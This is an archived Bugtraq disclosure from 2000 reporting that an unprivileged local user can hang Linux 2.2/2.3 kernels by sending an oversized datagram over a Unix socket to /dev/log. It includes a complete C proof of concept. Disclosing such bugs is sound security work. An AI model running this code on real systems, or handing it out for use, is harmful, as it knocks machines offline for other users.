The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Хинт: Для быстрого перемещения к разделам можно обращаться как: news.opennet.ru, forum.opennet.ru, man.opennet.ru, docs.opennet.ru и т.д.
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

Local Denial-of-Service attack against Linux


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Thu, 23 Mar 2000 17:55:09 -0500
From: Jay Fenlason <fenlason@CLEARWAY.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: Local Denial-of-Service attack against Linux

This amusing little program will hang Linux 2.2.12 (default Red Hat 6.1),
2.2.14 (latest stable kernel) and 2.3.99-pre2 (latest development kernel)
on my 6x86 scratch machine and our various Pentium development machines.
Note that this does not require any special privileges.

The send system call immediately puts the kernel in a loop spewing
kmalloc: Size (131076) too large
forever (or until you hit the reset button).

Apparently unix domain sockets are ignoring the /proc/sys/net/core/wmem_max
parameter, despite the documentation to the contrary.  The fix should be
simple, but I haven't had time to chase it down, and I'm not (usually) a
Linux kernel developer.

			-- JF

--- BEGIN INCLUDED SOURCE FILE ---

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )
{
    struct sockaddr SyslogAddr;
    int LogFile;
    int bufsize = sizeof(buf)-5;
    int i;

    for ( i = 0; i < bufsize; i++ )
        buf[i] = ' '+(i%95);
    buf[i] = '\0';

    SyslogAddr.sa_family = AF_UNIX;
    strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
    LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
    sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
    return 0;
}
--- END INCLUDED SOURCE FILE ---

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network.
RB2 Network.